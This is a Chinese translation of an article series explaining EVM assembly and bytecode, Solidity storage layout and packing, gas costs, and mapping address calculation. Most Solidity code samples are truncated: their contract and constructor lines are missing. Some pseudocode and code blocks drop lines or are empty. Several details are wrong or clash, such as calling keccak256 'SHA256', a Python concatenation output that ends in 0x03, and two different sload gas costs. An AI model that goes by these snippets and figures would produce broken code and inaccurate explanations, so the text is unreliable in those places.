	function C() {
		a = 1;
	}
}
```

（注：当前 Solidity 已使用 `constructor` 关键字声明构造函数）

用 `solc` 编译这个合约：

```shell
$ solc --bin --asm c1.sol
======= c1.sol:C =======
EVM assembly:
    /* "c1.sol":26:94  contract C {... */
  mstore(0x40, 0x60)
    /* "c1.sol":59:92  function C() {... */
  jumpi(tag_1, iszero(callvalue))
  0x0
  dup1
  revert
tag_1:
tag_2:
    /* "c1.sol":84:85  1 */
  0x1
    /* "c1.sol":80:81  a */
  0x0
    /* "c1.sol":80:85  a = 1 */
  dup2
  swap1
  sstore
  pop
tag_3:
tag_4:
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x0
  codecopy
  0x0
  return
stop
sub_0: assembly {
        /* "c1.sol":26:94  contract C {... */
      mstore(0x40, 0x60)
    tag_1:
      0x0
      dup1
      revert
auxdata:

0xa165627a7a72305820af3193f6fd31031a0e0d2de1ad2c27352b1ce081b4f3c92b5650ca4dd542bb770029
}
Binary:
60606040523415600e57600080fd5b5b60016000819055505b5b60368060266000396000f30060606040525b600080fd00a165627a7a72305820af3193f6fd31031a0e0d2de1ad2c27352b1ce081b4f3c92b5650ca4dd542bb770029
```

数字 `6060604052...` 是 EVM 实际运行的字节码。

## In Baby Steps

编译后的汇编语言中一半是样板(boilerplate)，在大多数 Solidity 程序中都是相似的。我们稍后会来回顾。现在，让我们检查一下合约的独特部分，即不起眼的存储变量赋值：

```shell
a = 1
```

此赋值由字节码 `6001600081905550`表示。让我们将其分解为每行一条指令：

```shell
60 01
60 00
81
90
55
50
```

EVM 基本上是一个循环，从上到下执行每条指令。让我们用相应的字节码注释汇编代码（在标签 `tag_2` 下缩进）以更好地了解它们是如何关联的：

```shell
tag_2:
  // 60 01
  0x1
  // 60 00
  0x0
  // 81
  dup2
  // 90
  swap1
  // 55
  sstore
  // 50
  pop
```

请注意，汇编代码中的 `0x1` 实际上是 `push(0x1)` 的简写。该指令将数字 1 压入堆栈。

只是盯着它仍然很难理解发生了什么。不过不用担心，逐行模拟 EVM 很简单。

## Simulating The EVM

EVM 是一个堆栈机器(stack machine)。指令可能使用堆栈上的值作为参数，并将值作为结果压入堆栈。让我们考虑 `add` 操作。

假设堆栈上有两个值：

```shell
[1, 2]
```

当 EVM 看到 `add` 时，它将顶端的 2 个项加起来，并将结果 push 到堆栈顶端，结果就是：

```shell
[3]
```

在下文中，我们将使用 `[]` 标记堆栈：

```shell
// 空堆栈
stack: []
// 有 3 个项的堆栈。顶端是 3，底部是 1。
stack:

[3 2 1]
```

并使用 `{}` 标注合约存储：

```shell
// 存储中什么都没有
store: {}
// 值 0x1 存储在位置 0x0
store: { 0x0 => 0x1 }
```

现在让我们看一些真正的字节码。我们将像 EVM 一样模拟字节码序列 `6001600081905550` 并在每条指令之后打印机器状态：

```shell
// 60 01: 将 1 压入堆栈
0x1
  stack: [0x1]
// 60 00: 将 0 压入堆栈
0x0
  stack: [0x0 0x1]
// 81: 复制堆栈上的第 2 个项
dup2
  stack: [0x1 0x0 0x1]
// 90: 交换顶端的 2 个项
swap1
  stack: [0x0 0x1 0x1]
// 55: 存储值 0x1 到位置 0x0
// 该指令消耗了顶端 2 个项
sstore
  store: { 0x0 => 0x1 }
// 50: pop (弹出顶端项)
pop
  stack: []
```

结束。堆栈是空的，并且有一个项在存储中。

值得注意的是，Solidity 决定将状态变量 `uint256 a` 存储在位置 `0x0`。其他语言完全有可能选择将状态变量存储在其他地方。

在伪代码中，EVM 对 `6001600081905550` 所做的基本上是：

```shell
// a = 1
sstore(0x0, 0x1)
```

仔细看，你会发现 dup2, swap1, pop 都是多余的。汇编代码可以更简单。

```shell
0x1
0x0
sstore
```

你可以尝试模拟上面 3 条指令，并确信它们确实会导致相同的机器状态：

```shell
stack: []
```

## Two Storage Variables

让我们添加一个相同类型的额外存储变量：

// c2.sol
	uint256 a;
	uint256 b;
		a = 1;
		b = 2;
	}
}
```

编译，重点关注 `tag_2`：

```shell
$ solc --bin --asm c2.sol
// ... more stuff omitted
tag_2:
    /* "c2.sol":99:100  1 */
  0x1
    /* "c2.sol":95:96  a */
  0x0
    /*

"c2.sol":95:100  a = 1 */
  dup2
  swap1
  sstore
  pop
    /* "c2.sol":112:113  2 */
  0x2
    /* "c2.sol":108:109  b */
  0x1
    /* "c2.sol":108:113  b = 2 */
  dup2
  swap1
  sstore
  pop
```

伪代码形式的汇编：

```shell
// a = 1
// b = 2
sstore(0x1, 0x2)
```

我们在这里了解到的是，两个存储变量一个接一个地定位，`a` 位于 `0x0` 位置，`b` 位于 `0x1` 位置。

## Storage Packing

每个槽存储(slot storage)可以存储 32 个字节。如果一个变量只需要 16 个字节，那么使用所有 32 个字节是很浪费的。如果可能，Solidity 通过将两种更小的数据类型打包(pack)到一个存储槽中来优化存储效率。

让我们改变 `a` 和 `b`，使它们每个都只有 16 个字节：

	uint128 a;
	uint128 b;
		a = 1;
		b = 2;
	}
}
```

编译合约：

```shell
$ solc --bin --asm c3.sol
```

生成的汇编更加复杂：

```shell
tag_2:
  // a = 1
  0x1
  0x0
  dup1
  0x100
  exp
  dup2
  sload
  dup2
  0xffffffffffffffffffffffffffffffff
  mul
  not
  and
  swap1
  dup4
  and
  mul
  or
  swap1
  sstore
  pop
  // b = 2
  0x2
  0x0
  0x10
  0x100
  exp
  dup2
  sload
  dup2
  mul
  not
  and
  swap1
  dup4
  and
  mul
  or
  swap1
  sstore
  pop
```

上面的汇编代码将两个变量打包到一个存储位置(`0x0`)，就像这样：

```shell
[         b         ][         a         ]
[16 bytes / 128 bits][16 bytes / 128

bits]
```

打包的原因是因为到目前为止最昂贵的操作是存储：

* `sstore` 首次写入新位置需要 20000 gas
* `sstore` 需要 5000 gas 用于后续写入已有位置
* `sload` 花费 500 gas
* 大多数指令花费 3~10 gas

通过使用相同的存储位置，Solidity 为第二个存储变量支付 5000 而不是 20000，从而为我们节省了 15000 gas。

## More Optimization

与其用两个单独的 `sstore` 指令存储 `a` 和 `b`，不如将两个 128 位数字一起打包到内存中，然后只使用一个 `sstore` 存储它们，从而节省额外的 5000 gas。

您可以通过打开 `optimize` 标志让 Solidity 进行此优化：

```shell
$ solc --bin --asm --optimize c3.sol
```

生成的汇编代码只使用一个 `sload` 和一个 `sstore`：

```shell
tag_2:
    /* "c3.sol":95:96  a */
  0x0
    /* "c3.sol":95:100  a = 1 */
  dup1
  sload
    /* "c3.sol":108:113  b = 2 */
  0x200000000000000000000000000000000
  not(sub(exp(0x2, 0x80), 0x1))
  swap1
  swap2
  and
    /* "c3.sol":99:100  1 */
  0x1
  or
  sub(exp(0x2, 0x80), 0x1)
  and
  or
  swap1
  sstore
```

字节码是：

```shell
600080547002000000000000000000000000000000006001608060020a03199091166001176001608060020a0316179055
```

将字节码格式化为每行一条指令：

```shell
// push 0x0
60 00
// dup1
80
// sload
54
// push17 push the the next 17 bytes as a 32 bytes number
70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

/* not(sub(exp(0x2, 0x80),

0x1)) */
// push 0x1
60 01
// push 0x80 (32)
60 80
// push 0x80 (2)
60 02
// exp
0a
// sub
03
// not
19

// swap1
90
// swap2
91
// and
16
// push 0x1
60 01
// or
17

/* sub(exp(0x2, 0x80), 0x1) */
// push 0x1
60 01
// push 0x80
60 80
// push 0x02
60 02
// exp
0a
// sub
03

// and
16
// or
17
// swap1
90
// sstore
55
```

汇编代码中使用了四个魔法值(magic values)：

* 0x1 (16 字节)，使用低 16 字节

```shell
// 用字节码表示为 0x01
16:32 0x00000000000000000000000000000000
00:16 0x00000000000000000000000000000001
```

* 0x2 (16 字节)，使用更高的 16 字节

```shell
// 用字节码表示为 0x200000000000000000000000000000000
16:32 0x00000000000000000000000000000002
00:16 0x00000000000000000000000000000000
```

* `not(sub(exp(0x2, 0x80), 0x1))`​

```shell
// 高 16 字节的位掩码
16:32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
```

* `sub(exp(0x2, 0x80), 0x1)`​

```shell
// 低 16 字节的位掩码
16:32 0x00000000000000000000000000000000 
00:16 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
```

该代码对这些值进行了一些位操作以达到所需的结果：

```shell
16:32 0x00000000000000000000000000000002 
```

最后，这个 32 字节的值存储在位置 `0x0`。

## Gas

Usage

```shell
```

注意，字节码中嵌入了 `0x200000000000000000000000000000000`。但编译器也可以选择使用指令 `exp(0x2, 0x81)`来计算值，这会产生更短的字节码序列。

但事实证明，`0x200000000000000000000000000000000` 比 `exp(0x2, 0x81)` 更便宜。让我们看一下所涉及的 gas 费用：

* 为交易的每个零字节数据或代码支付 4 gas
* 交易的每个非零字节数据或代码需要 68 gas

让我们比较一下两种表示在 gas 中的成本。

* 字节码 `0x200000000000000000000000000000000` 有很多 0，很便宜：(1 \* 68) + ( 16 \* 4) = 196
* 字节码 `608160020a` 更短但没有 0：5 \* 68 = 340

具有更多零的较长序列实际上更便宜！

## Summary

EVM 编译器并未针对字节码大小或速度或内存效率进行精确优化。相反，它优化了 gas 使用，这是一层间接(indirection)以激励以太坊区块链可以有效进行的计算。

我们已经看到了 EVM 的一些古怪方面：

* EVM 是一个 256 位的机器。以 32 字节为单位处理数据是最自然的做法。
* 持久性存储非常昂贵。
* Solidity 编译器做出了有趣的选择，以尽量减少 gas 使用。

Gas 成本的设定有些武断，未来很可能会发生变化。随着成本的变化，编译器会做出不同的选择。

# 深入以太坊虚拟机 Part2 — 固定长度数据类型的表示

> 原文：[Diving Into The Ethereum VM Part 2 — How I Learned To Start Worrying And Count The Storage Cost | by Howard | Aug 14, 2017 ](https://medium.com/@hayeah/diving-into-the-ethereum-vm-part-2-storage-layout-bc5349cb11b7)

在本系列的第一篇文章中，我们了解了一个简单的 Solidity 合约的汇编代码：

	uint256 a;

		a = 1;
	}
}
```

该合约归结为调用 `sstore`​ 指令：

```shell
// a = 1
```

* EVM 将值 `0x1` 存储在存储(storage)位置 `0x0`​
* 每个存储位置可以存储 32 个字节（或 256 位）

> 如果看起来不熟悉，建议阅读：[深入以太坊虚拟机 Part1 — 汇编与字节码](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part1.md)。

在本文中，我们将开始研究 Solidity 如何使用 32 字节的块(chunks)来表示更复杂的数据类型，比如结构体和数组。我们还将了解如何优化存储，以及优化是如何失败的。

在典型的编程语言中，理解数据类型如何在如此低的级别表示并不是非常有用。在 Solidity（或任何 EVM 语言）中，这些知识至关重要，因为访问存储非常昂贵：

* `sstore` 花费 20000 gas，或比基本算术指令贵约 5000 倍
* `sload` 需要 200 gas，或比基本算术指令贵 100 倍

通过“成本”，我们在这里谈论的是 real money，而不仅仅是毫秒级的性能。运行和使用合约的成本很可能由 `sstore` 和 `sload` 主导！

## Parsecs Upon Parsecs of Tape

构建通用计算机需要两个基本要素：

1. 一种循环的方式，跳转(jump)或递归(recursion)
2. 无限的内存数量

EVM 汇编代码有跳转，EVM

存储提供无线内存。这对一切都足够了，包括模拟一个运行以太坊版本的世界，它本身也在模拟一个运行以太坊的世界，即...

合约的 EVM 存储就像一个无限的收报机磁带，磁带的每个插槽(slot)都保存 32 个字节。就像这样：

```shell
[32 bytes][32 bytes][32 bytes]...
```

我们将看到数据如何存在于无限磁带上。

> 磁带的长度为 $2^{256}$(32 字节)，或每个合约约 $10^{77}$(和 $2^{256}$ 同量级) 个存储槽。可观测宇宙的粒子数为 $10^{80}$。大约 1000 份合约足以容纳所有这些质子、中子和电子。不要相信营销炒作，因为它比无穷大要短得多。

## The Blank Tape

存储最初是空白的，默认为 0。拥有无限磁带不会花费您任何费用。

让我们看一个简单的合约来说明零值行为：

// c-many-variables.sol

	uint256 a;
	uint256 b;
	uint256 c;
	uint256 d;
	uint256 e;
	uint256 f;

		f = 0xc0fefe;
	}
}
```

存储布局很简单。

* 变量 `a` 在位置 `0x0`​
* 变量 `b` 在位置 `0x1`​
* 依此类推...

关键问题：如果我们只使用 `f`，我们要为 a、b、c、d、e 支付多少费用？

让我们编译看看：

```shell
$ solc --bin --asm --optimize c-many-variables.sol
```

汇编为：

```shell
// sstore(0x5, 0xc0fefe)
tag_2:
  0xc0fefe
  0x5
  sstore
```

因此，存储变量声明不需要任何费用，因为不需要初始化。 Solidity 为该存储变量保留了一个位置，并且您只有在其中存储某些内容时才需要支付费用。

在这种情况下，我们只需支付存储到 `0x5` 的费用。

如果我们手动编写汇编，我们可以选择任何存储位置而无需“扩展”存储：

```shell
// Writing to an arbitrary position
sstore(0xc0fefe, 0x42)
```

## Reading

Zero

您不仅可以在存储中的任何位置写入，还可以立即从任何位置读取。从未初始化的位置读取只会返回 `0x0`。

让我们看一个从 `a` 读取的合约，一个未初始化的位置：

// c-zero-value.sol

	uint256 a;

		a = a + 1;
	}
}
```

编译：

```shell
$ solc --bin --asm --optimize c-zero-value.sol
```

汇编：

```shell
tag_2:
  // sload(0x0) returning 0x0
  0x0
  dup1
  sload

  // a + 1; where a == 0
  0x1
  add

  // sstore(0x0, a + 1)
  swap1
  sstore
```

请注意，生成从未初始化位置 `sload` 的代码是有效的。

然而，我们可以比 Solidity 编译器更聪明。由于我们知道 `tag_2` 是构造函数，并且 `a` 从未被写入，我们可以将 `sload` 序列替换为 `0x0` 以节省 5000 gas。

## Representing Struct

让我们看看我们的第一个复杂数据类型，一个有 6 个字段的结构体：

// c-struct-fields.sol

	struct Tuple {
		uint256 a;
		uint256 b;
		uint256 c;
		uint256 d;
		uint256 e;
		uint256 f;
	}

	Tuple t;

		t.f = 0xC0FEFE;
	}
}
```

存储中的布局与状态变量相同：

* 字段 `t.a` 在位置 `0x0`​
* 字段 `t.b` 在位置 `0x1`​
* 依此类推...

和前面一样，我们可以直接写入 `t.f` 而不需要初始化。

编译：

```shell
$ solc --bin --asm --optimize c-struct-fields.sol
```

我们可以看到完全相同的汇编：

```shell
tag_2:
  0xc0fefe
  0x5
  sstore
```

## Fixed Length

Array

现在我们声明一个固定长度的数组：

// c-static-array.sol

    uint256[6] numbers;

    function C() {
      numbers[5] = 0xC0FEFE;
    }
}
```

由于编译器确切地知道有多少 uint256（32 字节），它可以简单地将数组的元素一个接一个地放置在存储中，就像它对存储变量和结构体所做的那样。

在这个合约中，我们再次存储到位置 `0x5`。

编译：

```shell
$ solc --bin --asm --optimize c-static-array.sol
```

汇编：

```shell
tag_2:
  0xc0fefe
  0x0
  0x5
tag_4:
  add
  0x0
tag_5:
  pop
  sstore
```

它稍微长一点，但如果你仔细看，你会发现它实际上是一样的。让我们手动进一步优化：

```shell
tag_2:
  0xc0fefe

  // 0+5. Replace with 0x5
  0x0
  0x5
  add

  // Push then pop immediately. Useless, just remove.
  0x0
  pop

  sstore
```

去除标签和虚假指令，我们再次得到相同的字节码序列：

```shell
tag_2:
  0xc0fefe
  0x5
  sstore
```

## Array Bound Checking

我们已经看到，定长数组与 struct 和 状态变量具有相同的存储布局，但生成的汇编代码不同。原因是 Solidity 为数组访问生成边界检查。

让我们再次编译数组合约，这次关闭优化：

```shell
$ solc --bin --asm c-static-array.sol
```

汇编代码在下面给出注释，在每条指令后打印机器状态：

```shell
tag_2:
  0xc0fefe
    [0xc0fefe]
  0x5
    [0x5 0xc0fefe]
  dup1

  /* array bound checking code */
  // 5 < 6
  0x6
    [0x6 0x5 0xc0fefe]
  dup2
    [0x5 0x6 0x5 0xc0fefe]
  lt
    [0x1 0x5 0xc0fefe]
  // bound_check_ok = 1 (TRUE)

  // if(bound_check_ok) { goto

tag5 } else { invalid }
  tag_5
    [tag_5 0x1 0x5 0xc0fefe]
  jumpi
    // Test condition is true. Will goto tag_5.
    // And `jumpi` consumes two items from stack.
  invalid

// Array access is valid. Do it.
// stack: [0x5 0xc0fefe]
tag_5:
  sstore
    []
    storage: { 0x5 => 0xc0fefe }
```

我们现在看到了边界检查代码。我们已经看到编译器能够优化其中的一些东西，但并不完美。

在本文后面，我们将看到数组边界检查如何干扰编译器优化，从而使固定长度数组的效率远低于存储变量或结构体。

## Packing Behaviour

存储很昂贵（yayaya，我已经说过一百万次了）。一项关键优化是将尽可能多的数据打包到一个 32 字节的存储槽中。

考虑一个有四个存储变量的合约，每个变量 64 位，加起来共 256 位（32 字节）：

// c-many-variables--packing.sol

	uint64 a;
	uint64 b;
	uint64 c;
	uint64 d;

		a = 0xaaaa;
		b = 0xbbbb;
		c = 0xcccc;
		d = 0xdddd;
	}
}
```

我们希望编译器使用一个 `sstore` 将它们放在同一个存储槽中。

编译：

```shell
$ solc --bin --asm --optimize c-many-variables--packing.sol
```

汇编：

```shell
tag_2:
    /* "c-many-variables--packing.sol":121:122  a */
  0x0
    /* "c-many-variables--packing.sol":121:131  a = 0xaaaa */
  dup1
  sload
    /* "c-many-variables--packing.sol":125:131  0xaaaa */
  0xaaaa
  not(0xffffffffffffffff)
    /* "c-many-variables--packing.sol":121:131  a = 0xaaaa

*/
  swap1
  swap2
  and
  or
  not(sub(exp(0x2, 0x80), exp(0x2, 0x40)))
    /* "c-many-variables--packing.sol":139:149  b = 0xbbbb */
  and
  0xbbbb0000000000000000
  or
  not(sub(exp(0x2, 0xc0), exp(0x2, 0x80)))
    /* "c-many-variables--packing.sol":157:167  c = 0xcccc */
  and
  0xcccc00000000000000000000000000000000
  or
  sub(exp(0x2, 0xc0), 0x1)
    /* "c-many-variables--packing.sol":175:185  d = 0xdddd */
  and
  0xdddd000000000000000000000000000000000000000000000000
  or
  swap1
  sstore
```

有很多我无法破解的位运算，我不关心。需要注意的关键是这里只有一个 `sstore`。

优化成功！

## Breaking The Optimizer

要是优化器能一直工作得这么好就好了。让我们打破它。我们所做的唯一改变是我们使用辅助函数来设置存储变量：

// c-many-variables--packing-helpers.sol

	uint64 a;
	uint64 b;
	uint64 c;
	uint64 d;

		setAB();
		setCD();
	}

	function setAB() internal {
		a = 0xaaaa;
		b = 0xbbbb;
	}

	function setCD() internal {
		c = 0xcccc;
		d = 0xdddd;
	}
}
```

编译：

```shell
$ solc --bin --asm --optimize c-many-variables--packing-helpers.sol
```

汇编输出太多。我们将忽略大部分细节并专注于结构：

```shell
// Constructor function
tag_2:
  // ...
  // call setAB() by jumping to

tag_5
  jump
tag_4:
  // ...
  // call setCD() by jumping to tag_7
  jump

// function setAB()
tag_5:
  // Bit-shuffle and set a, b
  // ...
  sstore
tag_9:
  jump  // return to caller of setAB()

// function setCD()
tag_7:
  // Bit-shuffle and set c, d
  // ...
  sstore
tag_10:
  jump  // return to caller of setCD()
```

现在有两个 `sstore` 而不是一个。Solidity 编译器可以在标签内进行优化，但不能跨标签进行优化。

调用函数可能会花费更多，不是因为函数调用很昂贵（它们只是跳转指令），而是因为 `sstore` 优化可能会失败。

为了解决这个问题，Solidity 编译器需要学习如何内联函数，本质上得到与不调用函数相同的代码：

```shell
a = 0xaaaa;
b = 0xbbbb;
c = 0xcccc;
d = 0xdddd;
```

> 如果我们仔细阅读完整的汇编输出，我们会看到函数 `setAB()` 和 `setCD()` 的汇编代码被包含了两次，这会增加代码的大小，从而使您在部署合约时花费额外的 gas。我们后面会在了解合约生命周期时讨论这个问题。

## Why The Optimizer Breaks

优化器不会跨标签进行优化。考虑“1+1”，如果在同一个标签下，可以优化为 `0x2`：

```shell
// Optimize OK!
tag_0:
  0x1
  0x1
  add
  ...
```

但如果指令由标签分隔，就不是这样了：

```shell
// Optimize Fail!
tag_0:
  0x1
  0x1
tag_1:
  add
  ...
```

从版本 0.4.13 开始，此行为是正确的。将来可能会改变。

## Breaking The Optimizer, Again

让我们看看优化器失败的另一种方式。打包是否适用于固定长度的数组？考虑：

// c-static-array--packing.sol

	uint64[4] numbers;

		numbers[0] = 0x0;
		numbers[1]

= 0x1111;
		numbers[2] = 0x2222;
		numbers[3] = 0x3333;
	}
}
```

同样，我们希望使用一个 `sstore` 指令将四个 64 位数字打包到一个 32 字节的存储槽中。

编译的汇编代码太长。让我们只计算 `sstore` 和 `sload` 指令的数量：

```shell
$ solc --bin --asm --optimize c-static-array--packing.sol | grep -E '(sstore|sload)'
  sload
  sstore
  sload
  sstore
  sload
  sstore
  sload
  sstore
```

即使这个固定长度数组与等效结构或存储变量具有完全相同的存储布局，优化也会失败。现在需要四对 `sload` 和 `sstore`。

快速浏览一下汇编代码会发现，每个数组访问都有绑定检查代码，并组织在不同的标签下。但是标签边界会破坏优化。

不过有一个小小的安慰。 3 个额外的 `sstore` 指令比第一个便宜：

* `sstore` 后续写入现有位置需要 5000 gas

因此这个特殊的优化失败让我们花费了 35k 而不是 20k，额外增加了 75%。

## Conclusion

如果 Solidity 编译器可以计算出存储变量的大小，它只需将它们一个接一个地放在存储中。如果可能，编译器会将数据紧密打包成 32 字节的块。

总结一下我们目前看到的打包行为：

* 存储变量：是的；
* 结构体字段：是的；
* 定长数组：没有；理论上，是的。

因为存储访问成本很高，您应该将存储变量视为您的数据库模式。在编写合约时，进行小型实验并检查程序集以了解编译器是否正确优化可能很有用。

我们可以肯定，Solidity 编译器将来会改进。但现在，我们不能盲目相信它的优化器。

Literally，了解您的存储变量是值得的。

# 深入以太坊虚拟机 Part3 — 动态数据类型的表示

> 原文：[Diving Into The Ethereum VM Part 3 — The Hidden Costs of Arrays | by Howard | Aug 24, 2017](https://medium.com/@hayeah/diving-into-the-ethereum-vm-the-hidden-costs-of-arrays-28e119f04a9b)

Solidity 提供了其他编程语言中常见的数据结构。除了像数字和结构体这样的简单值之外，还有一些数据类型可以随着更多数据的添加而动态扩展。这些动态类型的三个主要类别是：

* 映射：`mapping(bytes32 => uint256)`，`mapping(address => string)`，等等
* 数组：`[]uint256`，`[]byte`，等等
* 字节数组，只有两种：`string`，`bytes`。

在本系列的上一部分中，我们看到了具有固定大小的简单类型如何在存储中表示。

* 基本值：`uint256`，`byte`，等等
* 固定大小的数组：`[10]uint8`，`[32]byte`，`bytes32`​
* 结合上面类型的结构体

具有固定大小的存储变量在存储中一个接一个地放置，尽可能紧密地打包成 32 字节的块。

（如果这部分看起来不熟悉，请阅读 [深入以太坊虚拟机 Part2 — 固定长度数据类型的表示](https://github.com/AmazingAng/WTFSolidity/blob/main/Topics/Translation/DiveEVM2017/DiveEVM2017-Part2.md)）

在本文中，我们将研究 Solidity 如何支持更复杂的数据结构。 Solidity 中的数组和映射可能表面上看起来很熟悉，但它们的实现方式赋予了它们完全不同的性能特征。

我们将从映射开始，这是三者中最简单的。事实证明，数组和字节数组只是具有更高级特性的映射。<br />

## Mapping

让我们在 `uint256 => uint256` 映射中存储一个值：

// c-mapping.sol

	mapping(uint256 => uint256) items;

	function C()

{
		items[0xC0FEFE] = 0x42;
	}
}
```

编译：

```shell
solc --bin --asm --optimize c-mapping.sol
```

汇编：

```shell
tag_2:
  // Doesn't do anything. Should be optimized away.
  0xc0fefe
  0x0
  swap1
  dup2
  mstore
  0x20
  mstore
  // Storing 0x42 to the address 0x798...187c
  0x42
  0x79826054ee948a209ff4a6c9064d7398508d2c1909a392f899d301c6d232187c
  sstore
```

我们可以将 EVM 存储视为一个键值(key-value)数据库，每个键限制为存储 32 个字节。这里没有直接使用键 `0xC0FEFE`，而是将键散列为 `0x798...187c`，并将值 `0x42` 存储在那里。使用的散列函数是 `keccak256` (SHA256) 函数。

在这个例子中，我们看不到 `keccak256` 指令本身，因为优化器决定预先计算结果并将其内联到字节码中。我们仍然可以看到这种计算的痕迹，形式是无用的 `mstore` 指令。

## Calculate The Address

让我们使用一些 Python 代码将 `0xC0FEFE` 哈希为 `0x798...187c`。如果您想继续学习，则需要 Python 3.6，或安装 [pysha3](https://pypi.python.org/pypi/pysha3) 以获取 `keccak_256` 哈希函数。

定义两个辅助函数：

```python
import binascii
import sha3

# Convert a number to 32 bytes array.
def bytes32(i):
    return binascii.unhexlify('%064x' % i)

# Calculate the keccak256 hash of a 32 bytes array.
def keccak256(x):
    return sha3.keccak_256(x).hexdigest()
```

将数字转换为 32 个字节：

```shell
>>>

bytes32(1)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
>>> bytes32(0xC0FEFE)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xfe\xfe'
```

要将两个字节数组连接在一起，可使用 `+` 运算符：

```shell
>>> bytes32(1) + bytes32(2)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03'
```

计算字节的 keccak256 哈希：

```shell
>>> keccak256(bytes(1))
'bc36789e7a1e281436464229828f817d6612f7b477d66591ff96a9e064bcc98a'
```

现在我们可以计算 `0x798...187c`。

存储变量 `items` 的位置是 `0x0`（因为它是第一个存储变量）。要获取地址，将键 `0xc0fefe` 与 `items` 的位置连接：

```shell
# key = 0xC0FEFE, position = 0
>>> keccak256(bytes32(0xC0FEFE) +

bytes32(0))
'79826054ee948a209ff4a6c9064d7398508d2c1909a392f899d301c6d232187c'
```

计算键存储地址的公式为：

```shell
keccak256(bytes32(key) + bytes32(position))
```

## Two Mappings

让我们采用我们计算值存储位置的公式！假设我们有一个包含两个映射的合约：

// c-mapping-2.sol

	mapping(uint256 => uint256) itemsA;
	mapping(uint256 => uint256) itemsB;

		itemsA[0xAAAA] = 0xAAAA;
		itemsB[0xBBBB] = 0xBBBB;
	}
}
```

* `itemsA` 的位置是 `0`，对于键 `0xAAAA`：

```shell
# key = 0xAAAA, position = 0
>>> keccak256(bytes32(0xAAAA) + bytes32(0))
'839613f731613c3a2f728362760f939c8004b5d9066154aab51d6dadf74733f3'
```

* `itemsB` 的位置是`1`，对于键 `0xBBBB`：

```shell
# key = 0xBBBB, position = 1
>>> keccak256(bytes32(0xBBBB) + bytes32(1))
'34cb23340a4263c995af18b23d9f53b67ff379ccaa3a91b75007b010c489d395'
```

让我们用编译器验证这些计算：

```shell
$ solc --bin --asm --optimize  c-mapping-2.sol
```

汇编：

```shell
tag_2:
  // ... Omit memory operations that could be optimized away

  0xaaaa
  0x839613f731613c3a2f728362760f939c8004b5d9066154aab51d6dadf74733f3
  sstore

  0xbbbb
 
 0x34cb23340a4263c995af18b23d9f53b67ff379ccaa3a91b75007b010c489d395
  sstore
```

正如预期的那样。

## KECCAK256 in Assembly

编译器能够预先计算键的地址，因为所涉及的值是常量。如果使用的键是变量，则需要使用汇编代码进行散列。现在我们要禁用这种优化，这样我们就可以看到在汇编中散列是如何完成的。

事实证明，通过引入一个带有虚拟变量 `i` 的额外间接访问，很容易削弱优化器：

// c-mapping--no-constant-folding.sol

	// This variable causes constant folding to fail.
	uint256 i = 0xC0FEFE;

		items[i] = 0x42;
	}
}
```

变量 `items` 的位置仍然是 `0x0`，所以我们应该期待与之前相同的地址。

使用编译优化，但这次没有哈希预计算：

```shell
$ solc --bin --asm --optimize  c-mapping--no-constant-folding.sol
```

注释的汇编：

```shell
tag_2:
  // Load `i` onto the stack
  sload(0x1)
    [0xC0FEFE]

  // Store the key `0xC0FEFE` in memory at 0x0, for hashing.
  0x0
    [0x0 0xC0FEFE]
  swap1
    [0xC0FEFE 0x0]
  dup2
    [0x0 0xC0FEFE 0x0]
  mstore
    [0x0]
    memory: {
      0x00 => 0xC0FEFE
    }

  // Store the position `0x0` in memory at 0x20 (32), for hashing.
  0x20 // 32
    [0x20 0x0]
  dup2
    [0x0 0x20 0x0]
  swap1
    [0x20 0x0 0x0]
  mstore
    [0x0]
    memory: {
      0x20 => 0x0
    }

  // Starting at 0th byte, hash the next 0x40 (64) bytes in

memory
  0x40 // 64
    [0x40 0x0]
  swap1
    [0x0 0x40]
  keccak256
    [0x798...187c]

  // Store 0x42 at the calculated address
  0x42
    [0x42 0x798...187c]
  swap1
    [0x798...187c 0x42]
  sstore
    store: {
      0x798...187c => 0x42
    }
```

`mstore` 指令在内存中写入 32 个字节。内存要便宜得多，读写只需 3 个 gas。汇编的前半部分通过将键和位置加载到相邻的内存块中来“连接”键和位置：

```shell
 0                   31  32                 63
[    key (32 bytes)    ][ position (32 bytes) ]
```

然后 `keccak256` 指令对该内存区域中的数据进行哈希处理。费用取决于哈希的数据量：

* 每个 SHA3 操作需要支付 30
* 每个 32 字节的字(word)需要支付 6

对于一个 `uint256` 的键，gas 成本为 42 (`30 + 6 * 2)`)。

## Mapping Large Values

每个存储槽只能存储 32 个字节。如果我们尝试存储一个更大的结构会发生什么？

	mapping(uint256 => Tuple) tuples;

		uint256 a;
		uint256 b;
		uint256 c;
	}

		tuples[0x1].a = 0x1A;
		tuples[0x1].b = 0x1B;
		tuples[0x1].c = 0x1C;
	}
}
```

编译，你应该会看到 3 个 `sstore` 指令：

```shell
tag_2:
  // ...omitting unoptimized code
  0x1a
  0xada5013122d395ba3c54772283fb069b10426056ef8ca54750cb9bb552a59e7d
  sstore

  0x1b
  0xada5013122d395ba3c54772283fb069b10426056ef8ca54750cb9bb552a59e7e
  sstore

  0x1c
 
 0xada5013122d395ba3c54772283fb069b10426056ef8ca54750cb9bb552a59e7f
  sstore
```

请注意，除了最后一位之外，计算出的地址是相同的。 `Tuple` 结构体的成员字段依次排列（..7d、..7e、..7f）。

## Mappings Don't Pack

考虑到映射的设计方式，您为每项支付的最小存储量是 32 字节，即使您只存储 1 个字节：

	mapping(uint256 => uint8) items;

		items[0xA] = 0xAA;
		items[0xB] = 0xBB;
	}
}
